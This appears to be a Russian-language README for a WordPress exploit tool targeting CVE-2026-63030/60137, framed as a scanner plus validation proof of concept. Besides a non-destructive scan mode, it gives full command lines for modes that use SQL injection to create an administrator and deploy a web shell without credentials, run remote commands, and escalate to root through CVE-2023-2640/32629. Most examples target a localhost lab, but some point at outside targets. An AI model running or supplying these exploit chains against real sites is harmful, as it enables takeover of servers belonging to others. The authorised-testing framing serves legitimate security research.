wp2shell-scanner

от @bahartanir (katherinepierce) Форк ZephrFish/wp2shell-scanner с дополнительными улучшениями. Исследование: Adam Kues (Assetnote) и Mustafa Can İPEKÇİ (nukedx).

Инструменты обнаружения и валидации для проверки ядра WordPress на подверженность wp2shell (CVE-2026-63030 / CVE-2026-60137). Режим выбирается флагом, а цель задаётся позиционно. --scan снимает отпечаток версии ядра и подтверждает, что REST-маршрут /batch/v1 доступен, не отправляя эксплойт-пейлоад; режимы --check/--read/--shell/--rce/--root-prereq — это валидационный PoC для авторизованного лабораторного использования.

wp2shell.py — это один скрипт, использующий только стандартную библиотеку, — без внешних зависимостей. Каждый запуск выводит баннер в stderr перед выполнением (он не попадает в stdout, поэтому JSON-вывод --scan -j не затрагивается).

Флаги команд

Требуется ровно один флаг режима; цель задаётся позиционно (URL для любого режима или список хостов для --scan).

Синтаксис

wp2shell.py (--scan | --check | --read | --shell | --rce | --root-prereq)
            [targets ...] [-f FILE] [-j] [-t THREADS] [--prefix PREFIX]
            [--delay DELAY] [--repeats REPEATS] [--preset PRESET] [--expr EXPR]
            [--max-len MAX_LEN] [--user USER] [--password PASSWORD] [--cmd CMD]
            [-i] [--no-cleanup] [-y] [--sleep SLEEP] [--rounds ROUNDS]
            [--route {auto,rest-route,wp-json}] [--proxy PROXY] [--authorized]
            [--timeout TIMEOUT]

Флаги режимов (выберите один)

Флаги опций

Оригинальный детальный разбор: https://blog.zsec.uk/wp2shell-code-trace-deep-dive/

Шаблон Nuclei

nuclei -t wp2shell-exposure.yaml -u https://target

Сканирование (неразрушающее)

Один хост, несколько хостов или файл.

python3 wp2shell.py --scan https://target
python3 wp2shell.py --scan host1 host2 host3
python3 wp2shell.py --scan -f hosts.txt

Опции: -f/--file файл хостов (по одному на строку), -j/--json JSON-вывод, -t/--threads параллельность (по умолчанию 10).

Валидационный PoC

Режимы --check/--read/--shell/--rce/--root-prereq отправляют реальные эксплойт-пейлоады. Запускайте их только против встроенной лаборатории на localhost или других систем, которыми вы владеете и на тестирование которых у вас есть явное разрешение. --shell и --rce выполняют удалённый код и предназначены для лаборатории/авторизованных целей; --rce на хосте вне loopback требует --authorized. --root-prereq использует тот же диагностический плагин с защитой по токену для проверки предпосылок shell-to-root, но не выполняет локальную привилегированную эскалацию.

--shell требует восстановленный/взломанный пароль администратора. --rce — это цепочка без учётных данных (pre-auth): он создаёт собственного администратора через SQLi (oEmbed → changeset → повторный вход в parse_request), затем разворачивает веб-шелл — пароль не требуется.

--shell, --rce и --root-prereq запрашивают интерактивное подтверждение y/N перед отправкой любого пейлоада, выполняющего код (они прерываются при неинтерактивном stdin/EOF). Передайте -y/--yes, чтобы пропустить запрос для автоматизации против лаборатории или авторизованной цели.

docker compose -f poc/lab/docker-compose.yml up -d
python3 wp2shell.py --check http://127.0.0.1:8080
python3 wp2shell.py --read  http://127.0.0.1:8080 --expr @@version
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' --cmd id
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' -i
python3 wp2shell.py --rce   http://127.0.0.1:8080 --cmd id
python3 wp2shell.py --rce   http://127.0.0.1:8080 -i
python3 wp2shell.py --root-prereq http://127.0.0.1:8080 --user admin --password 'Summer2026!'
python3 wp2shell.py --lpe   http://127.0.0.1:8080

Патч-диффы, на которых основан PoC, сохранены в poc/diffs/, с исследовательскими заметками в poc/RESEARCH.md. SQLi полностью восстанавливается по фиксу author__not_in. Цепочка --rce без учётных данных (oEmbed → changeset → повторный вход → создание администратора) воспроизводит RCE на стандартной конфигурации против встроенной лаборатории; --shell — альтернативный путь через восстановленные/взломанные учётные данные администратора к аутентифицированной загрузке плагина и выполнению команд.

Локальная привилегированная эскалация (--lpe)

--lpe объединяет полную pre-auth RCE (SQLi → создание администратора → веб-шелл) с автоматизированной попыткой эскалации до root. Он пробует следующее по порядку, останавливаясь на первом успехе:

python3 wp2shell.py --lpe http://127.0.0.1:8080
python3 wp2shell.py --lpe http://127.0.0.1:8080 -y          # skip auth prompt
python3 wp2shell.py --lpe https://target --authorized        # non-loopback

--lpe против цели вне loopback требует --authorized. Во встроенной лаборатории (базовый образ Ubuntu 22.04 с уязвимым ядром GameOverlay) CVE-2023-2640/32629 успешно срабатывает без компилятора.